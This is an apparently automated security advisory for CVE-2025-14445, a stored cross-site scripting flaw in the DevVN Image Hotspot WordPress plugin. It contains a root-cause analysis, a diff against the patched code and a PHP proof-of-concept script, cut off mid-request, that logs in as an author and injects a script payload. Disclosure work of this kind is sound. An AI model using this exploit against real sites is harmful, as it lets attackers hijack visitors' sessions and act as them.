Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14445: Image Hotspot by DevVN <= 1.2.9 – Authenticated (Author+) Stored Cross-Site Scripting via Custom Field Meta (devvn-image-hotspot)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.2.9
Patched Version 1.3.0
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14445:
The Image Hotspot by DevVN WordPress plugin contains an authenticated stored cross-site scripting vulnerability in versions up to and including 1.2.9. The vulnerability affects the ‘hotspot_content’ custom field meta data, allowing attackers with author-level privileges or higher to inject arbitrary JavaScript. This stored XSS executes whenever a user accesses a page containing the malicious hotspot, posing a medium-severity risk to site visitors.

The root cause is insufficient input sanitization and output escaping for the ‘content’ field within hotspot data points. In the vulnerable code, the plugin processes user-supplied hotspot content through the `devvn_ihotspot_convert_array_data` function in `/devvn-image-hotspot/devvn-image-hotspot.php` (lines 659-677). This function receives POST data from the `pointdata[content][]` parameter during hotspot creation or editing. The function applies `wp_kses()` filtering but passes the content through `base64_encode()` before storage, which bypasses WordPress’s standard sanitization mechanisms. The stored base64-encoded content is later decoded and directly output via `apply_filters(‘the_content’, wpautop($point[‘content’]))` in `/devvn-image-hotspot/admin/inc/add_shortcode_devvn_ihotspot.php` (line 97) without proper escaping.

Exploitation requires an authenticated attacker with at least Author-level permissions. The attacker creates or edits an image hotspot post via the WordPress admin interface. They inject JavaScript payloads into the hotspot content field, which submits through the `pointdata[content][]` parameter during the `devvn_ihotspot_save_meta_box_data` save action. The payload is base64-encoded and stored in the post meta `data_points` serialized array. When the hotspot shortcode renders on the frontend, the plugin decodes the base64 content and outputs it directly through the `the_content` filter without escaping. The JavaScript executes in the victim’s browser context when they view the compromised page.

The patch introduces comprehensive sanitization through the new `devvn_ihotspot_sanitize_data_points()` function. This function validates and sanitizes each field in the hotspot data array before storage. For the ‘content’ field, it applies `wp_kses()` with a controlled set of allowed tags defined by `devvn_ihotspot_get_allowed_tags()`. The patch also modifies the output code in `add_shortcode_devvn_ihotspot.php` to use the sanitized `$point_content` variable instead of the raw `$point[‘content’]`. Additional security improvements include proper nonce verification with `wp_unslash()`, URL sanitization with `esc_url_raw()`, and numeric validation for coordinate fields.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of authenticated users visiting the compromised page. This can lead to session hijacking, administrative actions performed on behalf of users, defacement, data exfiltration, and redirection to malicious sites. The stored nature means the payload persists across multiple visits and affects all users who view the page, amplifying the impact beyond the initial attack vector.

Differential between vulnerable and patched code

Code Diff
--- a/devvn-image-hotspot/admin/inc/add_shortcode_devvn_ihotspot.php
+++ b/devvn-image-hotspot/admin/inc/add_shortcode_devvn_ihotspot.php
@@ -41,7 +41,7 @@
             }
         }

-        $data_points = $decoded_array;
+        $data_points = devvn_ihotspot_sanitize_data_points($decoded_array);

     }

@@ -67,7 +67,7 @@
 		<div class="images_wrap">
             <?php
             if($maps_images):
-                $image_info = get_image_info_from_url($maps_images);
+                $image_info = devvn_ihotspot_get_image_info_from_url($maps_images);
                 $alt = isset($image_info['alt']) ? sanitize_text_field($image_info['alt']) : '';
                 ?>
                 <img src="<?php echo esc_attr($maps_images); ?>" alt="<?php echo esc_attr($alt);?>">
@@ -94,9 +94,15 @@
 		 ob_start();?>
 		 <?php if(isset($point['content'])):?>
 			 <?php if(!empty($point['content'])):
-                     $point['content'] = str_replace('"', '"', $point['content']);
+                     $point_content = str_replace('"', '"', $point['content']);
+                     $allowed_tags = devvn_ihotspot_get_allowed_tags();
+                     $point_content = wp_kses($point_content, $allowed_tags);
                  ?>
-                 <div class="box_view_html"><span class="close_ihp"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000" enable-background="new 0 0 1000 1000" xml:space="preserve"><g><path d="M153.7,153.7C57.9,249.5,10,365.3,10,499c0,135.7,47.9,251.5,143.7,347.3l0,0C249.5,942.1,363.3,990,499,990c135.7,0,251.5-47.9,347.3-143.7C942.1,750.5,990,634.7,990,499c0-135.7-47.9-249.5-143.7-345.3l0,0C750.5,57.9,634.7,10,499,10C365.3,10,249.5,57.9,153.7,153.7z M209.6,211.6l2-2C289.4,129.7,387.2,89.8,499,89.8c113.8,0,209.6,39.9,291.4,121.8c79.8,77.8,119.8,175.6,119.8,287.4c0,113.8-39.9,209.6-119.8,291.4C708.6,870.3,612.8,910.2,499,910.2c-111.8,0-209.6-39.9-287.4-119.8C129.8,708.6,89.8,612.8,89.8,499C89.8,387.2,129.8,289.4,209.6,211.6z"/><path d="M293.4,331.3c0,12,4,22,12,29.9L443.1,497L305.4,632.7c-8,8-12,18-12,29.9c0,10,4,18,12,26c8,8,18,12,28,12c12,0,20-4,27.9-10L499,552.9l135.7,137.7c8,6,16,10,28,10c12,0,21.9-4,27.9-10c8-8,12-18,12-28c0-12-4-21.9-12-29.9L554.9,497l135.7-135.7c8-8,12-18,12-27.9c0-12-4-22-12-29.9c-6-8-16-12-25.9-12c-12,0-21.9,4-29.9,12L499,441.1L363.3,303.4c-8-8-18-12-29.9-12c-10,0-20,4-28,12C297.4,311.4,293.4,321.4,293.4,331.3z"/></g></svg></span><?php echo apply_filters('the_content', wpautop($point['content'])); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped?></div>
+                 <div class="box_view_html">
+					<span class="close_ihp">
+						<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000" enable-background="new 0 0 1000 1000" xml:space="preserve"><g><path d="M153.7,153.7C57.9,249.5,10,365.3,10,499c0,135.7,47.9,251.5,143.7,347.3l0,0C249.5,942.1,363.3,990,499,990c135.7,0,251.5-47.9,347.3-143.7C942.1,750.5,990,634.7,990,499c0-135.7-47.9-249.5-143.7-345.3l0,0C750.5,57.9,634.7,10,499,10C365.3,10,249.5,57.9,153.7,153.7z M209.6,211.6l2-2C289.4,129.7,387.2,89.8,499,89.8c113.8,0,209.6,39.9,291.4,121.8c79.8,77.8,119.8,175.6,119.8,287.4c0,113.8-39.9,209.6-119.8,291.4C708.6,870.3,612.8,910.2,499,910.2c-111.8,0-209.6-39.9-287.4-119.8C129.8,708.6,89.8,612.8,89.8,499C89.8,387.2,129.8,289.4,209.6,211.6z"/><path d="M293.4,331.3c0,12,4,22,12,29.9L443.1,497L305.4,632.7c-8,8-12,18-12,29.9c0,10,4,18,12,26c8,8,18,12,28,12c12,0,20-4,27.9-10L499,552.9l135.7,137.7c8,6,16,10,28,10c12,0,21.9-4,27.9-10c8-8,12-18,12-28c0-12-4-21.9-12-29.9L554.9,497l135.7-135.7c8-8,12-18,12-27.9c0-12-4-22-12-29.9c-6-8-16-12-25.9-12c-12,0-21.9,4-29.9,12L499,441.1L363.3,303.4c-8-8-18-12-29.9-12c-10,0-20,4-28,12C297.4,311.4,293.4,321.4,293.4,331.3z"/></g></svg></span>
+						<?php echo apply_filters('the_content', wpautop($point_content)); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped,WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound ?>
+					</div>
 			 <?php else :
 			 $noTooltip = true;
 			 endif;?>
--- a/devvn-image-hotspot/admin/inc/metabox-donate.php
+++ b/devvn-image-hotspot/admin/inc/metabox-donate.php
@@ -17,11 +17,11 @@
 }
 add_action( 'add_meta_boxes', 'devvn_ihotspot_donate_meta_box' );
 function devvn_ihotspot_donate_shortcode_callback(){
-	ob_start();
+	$donate_url = 'https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CXLFN68QBQ6XU';
+	$image_url = plugin_dir_url( __FILE__ ) . '../images/btn_donateCC_LG.gif';
 	?>
-	<a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CXLFN68QBQ6XU" title="" target="_blank">
-		<img src="https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif" alt=""/>
+	<a href="<?php echo esc_url( $donate_url ); ?>" title="<?php esc_attr_e( 'Donate', 'devvn-image-hotspot' ); ?>" target="_blank" rel="noopener noreferrer">
+		<img src="<?php echo esc_url( $image_url ); ?>" alt="<?php esc_attr_e( 'Donate', 'devvn-image-hotspot' ); ?>"/>
 	</a>
 	<?php
-	echo ob_get_clean();// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 }
 No newline at end of file
--- a/devvn-image-hotspot/admin/inc/settings.php
+++ b/devvn-image-hotspot/admin/inc/settings.php
@@ -3,7 +3,26 @@

 add_action( 'admin_init', 'devvn_ihp_register_mysettings' );
 function devvn_ihp_register_mysettings() {
-    register_setting( 'ihp-options-group','ihp_options' );
+    register_setting( 'ihp-options-group','ihp_options', array(
+        'sanitize_callback' => 'devvn_ihp_sanitize_options'
+    ) );
+}
+
+function devvn_ihp_sanitize_options( $input ) {
+    $sanitized = array();
+
+    if ( isset( $input['popup_type'] ) ) {
+        $popup_type = absint( $input['popup_type'] );
+        if ( in_array( $popup_type, array( 1, 2 ), true ) ) {
+            $sanitized['popup_type'] = $popup_type;
+        } else {
+            $sanitized['popup_type'] = 1;
+        }
+    } else {
+        $sanitized['popup_type'] = 1;
+    }
+
+    return $sanitized;
 }

 add_action( 'admin_menu', 'devvn_ihp_admin_menu' );
@@ -32,10 +51,10 @@
                     <td>
                         <div class="tet_style_radio tet_style_radio_banner">
                             <label style="margin-right: 10px;">
-                                <input type="radio" name="ihp_options[popup_type]" value="2" <?php checked('2', $popup_type);?>> Full Screen
+                                <input type="radio" name="ihp_options[popup_type]" value="2" <?php checked('2', $popup_type);?>> <?php esc_html_e('Full Screen', 'devvn-image-hotspot');?>
                             </label>
                             <label>
-                                <input type="radio" name="ihp_options[popup_type]" value="1" <?php checked('1', $popup_type);?>> Normal - Tooltip
+                                <input type="radio" name="ihp_options[popup_type]" value="1" <?php checked('1', $popup_type);?>> <?php esc_html_e('Normal - Tooltip', 'devvn-image-hotspot');?>
                             </label>
                         </div>
                     </td>
@@ -54,7 +73,7 @@

 function devvn_ihp_action_links( $links, $file ) {
     if ( strpos( $file, 'devvn-image-hotspot.php' ) !== false ) {
-        $settings_link = '<a href="' . admin_url( 'edit.php?post_type=points_image&page=devvn-image-hotspot' ) . '" title="'.__('Settings').'">' . __( 'Settings' ) . '</a>';
+        $settings_link = '<a href="' . admin_url( 'edit.php?post_type=points_image&page=devvn-image-hotspot' ) . '" title="'.__('Settings', 'devvn-image-hotspot').'">' . __( 'Settings', 'devvn-image-hotspot' ) . '</a>';
         array_unshift( $links, $settings_link );
     }
     return $links;
@@ -71,8 +90,8 @@
     return $options;
 }

-add_filter( 'body_class', 'custom_class' );
-function custom_class( $classes ) {
+add_filter( 'body_class', 'devvn_ihotspot_body_class' );
+function devvn_ihotspot_body_class( $classes ) {
     $popup_type = devvn_get_ihp_options('popup_type');
     if ( $popup_type == 2 ) {
         $classes[] = 'ihp_popup_full';
--- a/devvn-image-hotspot/devvn-image-hotspot.php
+++ b/devvn-image-hotspot/devvn-image-hotspot.php
@@ -4,7 +4,7 @@
 Plugin URI: https://levantoan.com/devvn-image-hotspot
 Description: Image Hotspot help you add hotspot to your images.
 Author: Le Van Toan
-Version: 1.2.9
+Version: 1.3.0
 Author URI: https://levantoan.com/
 Text Domain: devvn-image-hotspot
 Domain Path: /languages
@@ -29,7 +29,7 @@

 defined( 'ABSPATH' ) or die( 'No script kiddies please!' );

-define('DEVVN_IHOTSPOT_VER', '1.2.9');
+define('DEVVN_IHOTSPOT_VER', '1.3.0');
 define('DEVVN_IHOTSPOT_DEV_MOD', true);

 if ( !defined( 'DEVVN_IHOTSPOT_BASENAME' ) )
@@ -63,14 +63,14 @@
 //load_textdomain('devvn-image-hotspot', dirname(__FILE__) . '/languages/devvn-image-hotspot-' . get_locale() . '.mo');
 //load_plugin_textdomain( 'devvn-image-hotspot', false, plugin_basename( dirname( __FILE__ ) ) . '/i18n/languages' );

-function ihotspot_load_my_own_textdomain( $mofile, $domain ) {
+function devvn_ihotspot_load_my_own_textdomain( $mofile, $domain ) {
 	if ( 'devvn-image-hotspot' === $domain && false !== strpos( $mofile, WP_LANG_DIR . '/plugins/' ) ) {
-		$locale = apply_filters( 'plugin_locale', determine_locale(), $domain );
+		$locale = apply_filters( 'plugin_locale', determine_locale(), $domain ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		$mofile = WP_PLUGIN_DIR . '/' . dirname( plugin_basename( __FILE__ ) ) . '/languages/' . $domain . '-' . $locale . '.mo';
 	}
 	return $mofile;
 }
-add_filter( 'load_textdomain_mofile', 'ihotspot_load_my_own_textdomain', 10, 2 );
+add_filter( 'load_textdomain_mofile', 'devvn_ihotspot_load_my_own_textdomain', 10, 2 );

 //metabox
 function devvn_ihotspot_meta_box() {
@@ -123,7 +123,7 @@
 	}

 	$maps_images = (isset($data_post['maps_images']))?$data_post['maps_images']:'';
-    $data_points = isset($data_post['data_points']) && $data_post['data_points'] ? $data_post['data_points'] : array();
+	$data_points = isset($data_post['data_points']) && $data_post['data_points'] ? $data_post['data_points'] : array();

     if(!empty($data_points)){

@@ -139,7 +139,7 @@
             }
         }

-        $data_points = $decoded_array;
+        $data_points = devvn_ihotspot_sanitize_data_points($decoded_array);

     }

@@ -230,7 +230,7 @@
 		<div class="images_wrap">
 			<?php
 			if($maps_images):
-			$image_info = get_image_info_from_url($maps_images);
+			$image_info = devvn_ihotspot_get_image_info_from_url($maps_images);
             $alt = isset($image_info['alt']) ? sanitize_text_field($image_info['alt']) : '';
             ?>
 			<img src="<?php echo esc_attr($maps_images); ?>" alt="<?php echo esc_attr($alt);?>">
@@ -300,6 +300,60 @@
     return preg_match('/^[A-Za-z0-9+/]+={0,2}$/', $string);
 }

+function devvn_ihotspot_get_allowed_tags() {
+	$allowed_tags = wp_kses_allowed_html( 'post' );
+	$allowed_tags['iframe'] = array(
+		'src' => array(),
+		'width' => array(),
+		'height' => array(),
+		'frameborder' => array(),
+		'scrolling' => array(),
+		'allowfullscreen' => array()
+	);
+	return apply_filters('devvn_ihotspot_allowed_tags', $allowed_tags);
+}
+
+function devvn_ihotspot_sanitize_data_points($data_points) {
+	if ( empty( $data_points ) || ! is_array( $data_points ) ) {
+		return array();
+	}
+
+	$allowed_tags = devvn_ihotspot_get_allowed_tags();
+	$sanitized_points = array();
+
+	foreach ( $data_points as $key => $point ) {
+		if ( ! is_array( $point ) ) {
+			continue;
+		}
+
+		$sanitized_point = array();
+
+		foreach ( $point as $field_key => $field_value ) {
+			if ( 'content' === $field_key ) {
+				$sanitized_point[ $field_key ] = wp_kses( $field_value, $allowed_tags );
+			} elseif ( 'linkpins' === $field_key ) {
+				$sanitized_point[ $field_key ] = esc_url_raw( $field_value );
+			} elseif ( 'pins_image_custom' === $field_key || 'pins_image_hover_custom' === $field_key ) {
+				$sanitized_point[ $field_key ] = esc_url_raw( $field_value );
+			} elseif ( 'link_target' === $field_key ) {
+				$sanitized_point[ $field_key ] = sanitize_text_field( $field_value );
+			} elseif ( 'placement' === $field_key ) {
+				$sanitized_point[ $field_key ] = sanitize_text_field( $field_value );
+			} elseif ( 'pins_id' === $field_key || 'pins_class' === $field_key || 'pinsalt' === $field_key ) {
+				$sanitized_point[ $field_key ] = sanitize_text_field( $field_value );
+			} elseif ( 'top' === $field_key || 'left' === $field_key ) {
+				$sanitized_point[ $field_key ] = is_numeric( $field_value ) ? floatval( $field_value ) : sanitize_text_field( $field_value );
+			} else {
+				$sanitized_point[ $field_key ] = sanitize_text_field( $field_value );
+			}
+		}
+
+		$sanitized_points[ $key ] = $sanitized_point;
+	}
+
+	return $sanitized_points;
+}
+
 function devvn_ihotspot_shortcode_callback( $post ){
 	if(get_post_status($post->ID) == "publish"):
 	?>
@@ -315,7 +369,7 @@
 	if ( ! isset( $_POST['maps_points_meta_box_nonce'] ) ) {
 		return;
 	}
-	if ( ! wp_verify_nonce( $_POST['maps_points_meta_box_nonce'], 'maps_points_save_meta_box_data' ) ) {
+	if ( ! wp_verify_nonce( wp_unslash( $_POST['maps_points_meta_box_nonce'] ), 'maps_points_save_meta_box_data' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 		return;
 	}
 	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
@@ -334,22 +388,28 @@
 		return;
 	}

-	$my_data = isset($_POST['maps_images']) && $_POST['maps_images'] ? esc_url($_POST['maps_images']) :'';
+	$my_data = '';
+	if ( isset( $_POST['maps_images'] ) ) {
+		$maps_images_raw = sanitize_text_field( wp_unslash( $_POST['maps_images'] ) );
+		if ( $maps_images_raw ) {
+			$my_data = esc_url_raw( $maps_images_raw );
+		}
+	}

 	$dataPoints = array();

 	/*sanitize in devvn_ihotspot_convert_array_data*/
-	$pointdata = isset($_POST['pointdata']) ? $_POST['pointdata'] : '';
+	$pointdata = isset($_POST['pointdata']) ? wp_unslash( $_POST['pointdata'] ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

-	$choose_type = sanitize_text_field((isset($_POST['choose_type']))?$_POST['choose_type']:'');
+	$choose_type = isset($_POST['choose_type']) ? sanitize_text_field( wp_unslash( $_POST['choose_type'] ) ) : '';

-	$custom_top = sanitize_text_field((isset($_POST['custom_top']))?$_POST['custom_top']:'');
-	$custom_left = sanitize_text_field((isset($_POST['custom_left']))?$_POST['custom_left']:'');
+	$custom_top = isset($_POST['custom_top']) ? sanitize_text_field( wp_unslash( $_POST['custom_top'] ) ) : '';
+	$custom_left = isset($_POST['custom_left']) ? sanitize_text_field( wp_unslash( $_POST['custom_left'] ) ) : '';

-	$custom_hover_top = sanitize_text_field((isset($_POST['custom_hover_top']))?$_POST['custom_hover_top']:'');
-	$custom_hover_left = sanitize_text_field((isset($_POST['custom_hover_left']))?$_POST['custom_hover_left']:'');
+	$custom_hover_top = isset($_POST['custom_hover_top']) ? sanitize_text_field( wp_unslash( $_POST['custom_hover_top'] ) ) : '';
+	$custom_hover_left = isset($_POST['custom_hover_left']) ? sanitize_text_field( wp_unslash( $_POST['custom_hover_left'] ) ) : '';

-	$pins_animation = sanitize_text_field((isset($_POST['pins_animation']))?$_POST['pins_animation']:'');
+	$pins_animation = isset($_POST['pins_animation']) ? sanitize_text_field( wp_unslash( $_POST['pins_animation'] ) ) : '';

 	$pins_more_option = array(
 		'position'			=>	$choose_type,
@@ -364,8 +424,8 @@
 	}
 	$data_post = array(
 		'maps_images'		=>	$my_data,
-		'pins_image'		=>	sanitize_text_field( (isset($_POST['pins_image']))?$_POST['pins_image']:'' ),
-		'pins_image_hover'	=>	sanitize_text_field(isset($_POST['pins_image_hover'])?$_POST['pins_image_hover']:''),
+		'pins_image'		=>	isset($_POST['pins_image']) ? sanitize_text_field( wp_unslash( $_POST['pins_image'] ) ) : '',
+		'pins_image_hover'	=>	isset($_POST['pins_image_hover']) ? sanitize_text_field( wp_unslash( $_POST['pins_image_hover'] ) ) : '',
 		'pins_more_option'	=>	$pins_more_option,
 		'data_points'		=>	$dataPoints
 	);
@@ -505,13 +565,13 @@
 					?>
 					<div class="devvn_row">
 						<div class="devvn_col_3">
-							<label>Link to pins<br>
-							<input type="text" name="pointdata[linkpins][]" value="<?php echo esc_attr($pointLink)?>" placeholder="Link to pins"/>
+							<label><?php esc_html_e('Link to pins', 'devvn-image-hotspot');?><br>
+							<input type="text" name="pointdata[linkpins][]" value="<?php echo esc_attr($pointLink)?>" placeholder="<?php esc_attr_e('Link to pins', 'devvn-image-hotspot');?>"/>
 							</label><br>
-							<label>Link target<br>
+							<label><?php esc_html_e('Link target', 'devvn-image-hotspot');?><br>
 							<select name="pointdata[link_target][]">
-							    <option value="_self" <?php selected('_self',$link_target);?>>Open curent window</option>
-							    <option value="_blank" <?php selected('_blank',$link_target);?>>Open new window</option>
+							    <option value="_self" <?php selected('_self',$link_target);?>><?php esc_html_e('Open in current window', 'devvn-image-hotspot');?></option>
+							    <option value="_blank" <?php selected('_blank',$link_target);?>><?php esc_html_e('Open in new window', 'devvn-image-hotspot');?></option>
 							</select>
 							</label>

@@ -540,40 +600,40 @@

 						</div>
 						<div class="devvn_col_3">
-							<label><?php esc_html_e( 'Pins Alt', 'devvn-image-hotspot' )?><br>
-							<input type="text" name="pointdata[pinsalt][]" value="<?php echo esc_attr($pinsalt)?>" placeholder="Type a ALT"/>
+							<label><?php esc_html_e( 'Pin Alt Text', 'devvn-image-hotspot' )?><br>
+							<input type="text" name="pointdata[pinsalt][]" value="<?php echo esc_attr($pinsalt)?>" placeholder="<?php esc_attr_e('Enter ALT text', 'devvn-image-hotspot');?>"/>
 							</label>
 						</div>
 					</div>
 					<div class="devvn_row">
 						<div class="devvn_col_3">
-							<label>Placement<br></label>
+							<label><?php esc_html_e('Placement', 'devvn-image-hotspot');?><br></label>
 							<select name="pointdata[placement][]">
 							    <?php
 							    $allPlacement = array(
-                                    'n' =>  'North',
-                                    'e' =>  'East',
-                                    's' =>  'South',
-                                    'w' =>  'West',
-                                    'nw' =>  'North West',
-                                    'ne' =>  'North East',
-                                    'sw' =>  'South West',
-                                    'se' =>  'South East'
+                                    'n' =>  __('North', 'devvn-image-hotspot'),
+                                    'e' =>  __('East', 'devvn-image-hotspot'),
+                                    's' =>  __('South', 'devvn-image-hotspot'),
+                                    'w' =>  __('West', 'devvn-image-hotspot'),
+                                    'nw' =>  __('North West', 'devvn-image-hotspot'),
+                                    'ne' =>  __('North East', 'devvn-image-hotspot'),
+                                    'sw' =>  __('South West', 'devvn-image-hotspot'),
+                                    'se' =>  __('South East', 'devvn-image-hotspot')
 							    );
 							    foreach ($allPlacement as $k=>$v){
                                 ?>
-							    <option value="<?php echo esc_attr($k);?>" <?php selected($k,$placement)?>><?php echo esc_attr($v);?></option>
+							    <option value="<?php echo esc_attr($k);?>" <?php selected($k,$placement)?>><?php echo esc_html($v);?></option>
 							    <?php }?>
                             </select>
 						</div>
 						<div class="devvn_col_3">
-							<label>Pins ID<br>
-							<input type="text" name="pointdata[pins_id][]" value="<?php echo esc_attr($pins_id)?>" placeholder="Type a ID"/>
+							<label><?php esc_html_e('Pin ID', 'devvn-image-hotspot');?><br>
+							<input type="text" name="pointdata[pins_id][]" value="<?php echo esc_attr($pins_id)?>" placeholder="<?php esc_attr_e('Enter ID', 'devvn-image-hotspot');?>"/>
 							</label>
                         </div>
                         <div class="devvn_col_3">
-							<label>Pins Class<br>
-							<input type="text" name="pointdata[pins_class][]" value="<?php echo esc_attr($pins_class)?>" placeholder="Ex: class_1 class_2 class_3"/>
+							<label><?php esc_html_e('Pin Class', 'devvn-image-hotspot');?><br>
+							<input type="text" name="pointdata[pins_class][]" value="<?php echo esc_attr($pins_class)?>" placeholder="<?php esc_attr_e('e.g.: class_1 class_2 class_3', 'devvn-image-hotspot');?>"/>
 							</label>
                         </div>
 					</div>
@@ -619,14 +679,14 @@
 //Clone Point
 add_action( 'wp_ajax_devvn_ihotspot_clone_point', 'devvn_ihotspot_clone_point_func' );
 function devvn_ihotspot_clone_point_func() {
-	if ( !wp_verify_nonce( $_REQUEST['nonce'], "maps_points_save_meta_box_data")) {
+	if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( wp_unslash( $_REQUEST['nonce'] ), "maps_points_save_meta_box_data")) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
     	exit();
    	}
-	if(!is_user_logged_in()){
+	if(!is_user_logged_in() || !current_user_can('edit_posts')){
 		wp_send_json_error();
 	}
-	$countPoint = intval($_POST['countpoint']);
-	$imgPin = esc_url($_POST['img_pins']);
+	$countPoint = isset($_POST['countpoint']) ? intval( wp_unslash( $_POST['countpoint'] ) ) : 0;
+	$imgPin = isset($_POST['img_pins']) ? esc_url_raw( wp_unslash( $_POST['img_pins'] ) ) : '';
 	$countPoint = (isset($countPoint) && !empty($countPoint)) ? $countPoint : wp_rand();
 	$datapin = array(
 		'countPoint'	=>	$countPoint,
@@ -659,17 +719,17 @@
 		foreach ($inputArray as $key => $value){
 			//$element[$key] = base64_encode(wp_kses_post($value[$i]));

-			$allowed_tags = wp_kses_allowed_html( 'post' );
-            $allowed_tags['iframe'] = array(
-                'src' => array(),
-				'width' => array(),
-				'height' => array(),
-				'frameborder' => array(),
-				'scrolling' => array(),
-				'allowfullscreen' => array()
-            );
+			$allowed_tags = devvn_ihotspot_get_allowed_tags();

-			$element[$key] = base64_encode(wp_kses($value[$i], apply_filters('devvn_ihotspot_allowed_tags', $allowed_tags)));
+			if ( 'content' === $key ) {
+				$element[$key] = base64_encode(wp_kses($value[$i], $allowed_tags));
+			} elseif ( 'linkpins' === $key || 'pins_image_custom' === $key || 'pins_image_hover_custom' === $key ) {
+				$element[$key] = base64_encode(esc_url_raw($value[$i]));
+			} elseif ( 'top' === $key || 'left' === $key ) {
+				$element[$key] = base64_encode(is_numeric($value[$i]) ? floatval($value[$i]) : sanitize_text_field($value[$i]));
+			} else {
+				$element[$key] = base64_encode(sanitize_text_field($value[$i]));
+			}
 		}
 		array_push($aOutput,$element);
 	}
@@ -677,19 +737,27 @@
 	return $aOutput;
 }

-if(!function_exists('get_image_info_from_url')){
-    function get_image_info_from_url($image_url) {
+if(!function_exists('devvn_ihotspot_get_image_info_from_url')){
+    function devvn_ihotspot_get_image_info_from_url($image_url) {
         global $wpdb;

-        $upload_dir = wp_upload_dir();
-        $relative_path = str_replace($upload_dir['baseurl'] . '/', '', $image_url);
+        $cache_key = 'devvn_ihotspot_image_info_' . md5( $image_url );
+        $attachment_id = wp_cache_get( $cache_key );

-        $attachment_id = $wpdb->get_var( $wpdb->prepare( "
-            SELECT post_id FROM {$wpdb->postmeta}
-            WHERE meta_key = '_wp_attached_file'
-            AND meta_value = %s
-            LIMIT 1
-        ", $relative_path ) );
+        if ( false === $attachment_id ) {
+            $upload_dir = wp_upload_dir();
+            $relative_path = str_replace($upload_dir['baseurl'] . '/', '', $image_url);
+
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching - No WordPress function exists to get attachment by file path, caching added above
+            $attachment_id = $wpdb->get_var( $wpdb->prepare( "
+                SELECT post_id FROM {$wpdb->postmeta}
+                WHERE meta_key = '_wp_attached_file'
+                AND meta_value = %s
+                LIMIT 1
+            ", $relative_path ) );
+
+            wp_cache_set( $cache_key, $attachment_id, '', 3600 );
+        }

         if (!$attachment_id) return false;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14445 - Image Hotspot by DevVN <= 1.2.9 - Authenticated (Author+) Stored Cross-Site Scripting via Custom Field Meta

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker_author';
$password = 'author_password';

// Payload to inject - simple alert for demonstration
$payload = '<script>alert("Atomic Edge XSS Test");</script>';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);

// Check if login succeeded by looking for admin dashboard elements
if (strpos($login_response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Get nonce for creating new hotspot post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=points_image');
curl_setopt($ch, CURLOPT_POST, 0);
$post_creation_page = curl_exec($ch);

// Extract nonce from the page - look for maps_points_meta_box_nonce
preg_match('/name="maps_points_meta_box_nonce" value="([^"]+)"/', $post_creation_page, $nonce_matches);
if (empty($nonce_matches[1])) {
    die('Could not extract security nonce.');
}
$nonce = $nonce_matches[1];

// Extract post ID from the page
preg_match('/post_id" value="([^"]+)"/', $post_creation_page, $post_id_matches);
if (empty($post_id_matches[1])) {
    die('Could not extract post ID.');
}
$post_id = $post_id_matches[1];

// Prepare the XSS payload in the format the plugin expects
// The content will be base64-encoded by the plugin's devvn_ihotspot_convert_array_data function
$malicious_content = $payload;

// Submit the post with XSS payload in hotspot content
$post_data = [
    'post_ID' => $post_id,
    'post_type' => 'points_image',
